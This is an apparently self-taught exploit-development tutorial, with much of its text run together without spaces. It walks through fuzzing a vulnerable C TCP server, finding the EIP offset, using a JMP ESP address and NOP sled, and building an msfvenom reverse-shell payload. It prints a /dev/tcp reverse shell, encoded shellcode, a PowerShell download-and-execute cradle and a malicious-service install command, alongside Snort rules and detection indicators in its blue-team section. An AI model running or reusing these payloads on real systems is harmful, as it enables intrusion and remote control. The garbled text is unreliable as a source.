The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
